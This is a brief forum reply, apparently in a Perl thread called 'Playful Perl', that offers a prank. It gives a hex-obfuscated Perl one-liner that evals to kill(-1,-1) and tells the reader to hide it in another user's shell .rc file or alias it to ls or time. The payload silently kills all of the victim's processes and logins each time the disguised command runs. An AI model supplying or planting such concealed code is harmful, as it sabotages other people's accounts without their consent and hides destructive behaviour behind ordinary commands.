Put this somewhere in his shell .rc file. Maybe set it as an alias to some command like ls or time. It evals to kill(-1,-1) which will kill all logons of the user running it. 
#!/usr/bin/perl
eval pack("h*","5687563602177782b696c6c602d21302d21392");

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In reply to Re: Playful Perl by zentara
in thread Playful Perl by coreolyn

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